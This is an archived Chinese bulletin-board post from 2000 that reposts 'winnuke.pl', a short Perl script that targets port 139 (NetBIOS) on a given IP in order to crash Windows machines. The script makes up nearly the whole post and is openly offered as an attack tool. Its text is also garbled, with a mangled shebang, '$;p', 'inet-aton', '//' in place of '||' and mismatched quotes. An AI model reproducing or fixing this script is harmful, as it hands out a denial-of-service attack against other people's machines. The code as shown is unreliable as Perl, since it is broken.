发信人: linyun2000()
整理人: eagle(2000-12-24 09:55:54), 站内信件
|
#!/use/local/bin/per/
# winnuke.pl by hubert lin(c)may1997
use socket
$;p=$argv[0];
$port=139;#port for netbios
die'usage:winnuke.pl<ip>\n"if($#argv==-1);
$iaddr=inet-aton($ip)//die"no host:$ip";
$paddr=sockaddr_in($port.$iaddr);
socket(sock,$paddr)//die"connect:$!";
send(sock,"bye",1);
--
※ 来源:．月光软件站 http://www.moon-soft.com．[FROM: 202.103.56.19]
|
|